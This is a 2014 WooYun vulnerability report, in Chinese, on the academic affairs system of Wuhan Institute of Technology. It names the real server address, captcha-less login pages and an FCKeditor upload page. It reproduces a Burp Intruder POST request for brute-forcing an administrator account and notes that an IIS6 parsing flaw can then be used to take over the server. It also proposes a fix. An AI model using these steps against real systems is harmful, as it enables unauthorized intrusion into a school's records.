漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-083758
漏洞标题：武汉工程大学教务管理系统漏洞打包
相关厂商：武汉工程大学
漏洞作者： 小鸟游六花
提交时间：2014-11-19 10:42
修复时间：2014-11-24 10:44
公开时间：2014-11-24 10:44
漏洞类型：成功的入侵事件
危害等级：低
自评Rank：5
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-19： 细节已通知厂商并且等待厂商处理中
2014-11-24： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
没事找找了自己学校教务管理的漏洞
交了好几个了求管理给个号+.+ 555
详细说明：
教务管理地址http://218.199.176.2
无验证马页面
http://218.199.176.2/(rhkakirymynkt0vmrhdlzyqb)/default2.aspx
http://218.199.176.2/(4333zb55spriyp45jbnmoaza)/default3.aspx
http://218.199.176.2/(4333zb55spriyp45jbnmoaza)/default4.aspx
上传漏洞
http://218.199.176.2/fckeditor/editor/filemanager/browser/default/browser.html
无验证马页面可以直接用burp爆破
截取登陆
![]T~6H)5B@BM(C(X~]4$X{JJ.jpg](https://w.hundan.org/articles/attach/201411/1816580635af82918ac7298f406dfff2f1b750fb.jpg)
![3(2[9(}ZP9]PCH~XDWHVIAA.jpg](https://w.hundan.org/articles/attach/201411/1817004325f4c9458d0d17c629995ba84a14535a.jpg)
突然不知道怎么了图片上传的好慢 口述一下吧
再用sniper 改下下面这段post、
POST /(rhkakirymynkt0vmrhdlzyqb)/default2.aspx HTTP/1.1
Host: 218.199.176.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://218.199.176.2/(rhkakirymynkt0vmrhdlzyqb)/default2.aspx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
__VIEWSTATE=§dDwtMjEzNzcwMzMxNTs7PlID9zeg3mCIe9Wnn1SY9sqI7FmA§&TextBox1=§jwc01§&TextBox2=§000000§&RadioButtonList1=§%D1%A7%C9%FA§&Button1=§§
改成这样
POST /(rhkakirymynkt0vmrhdlzyqb)/default2.aspx HTTP/1.1
Host: 218.199.176.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://218.199.176.2/(rhkakirymynkt0vmrhdlzyqb)/default2.aspx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
__VIEWSTATE=dDwtMjEzNzcwMzMxNTs7PlID9zeg3mCIe9Wnn1SY9sqI7Fm&TextBox1=jwc01&TextBox2=§000000§&RadioButtonList1=%D1%A7%C9%FA&Button1=
在加载字典
进行爆破
这是直接爆破jwc01管理 也可以爆破别的 经后台后可以用ii6的解析漏洞拿下服务器
再就是那个上传漏洞了 就不说什么了大家都懂
漏洞证明：
部门处长的好
求个号学习一下555
修复方案：
加验证码设置 正确权限
版权声明：转载请注明来源 小鸟游六花@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-11-24 10:44
厂商回复：
最新状态：
暂无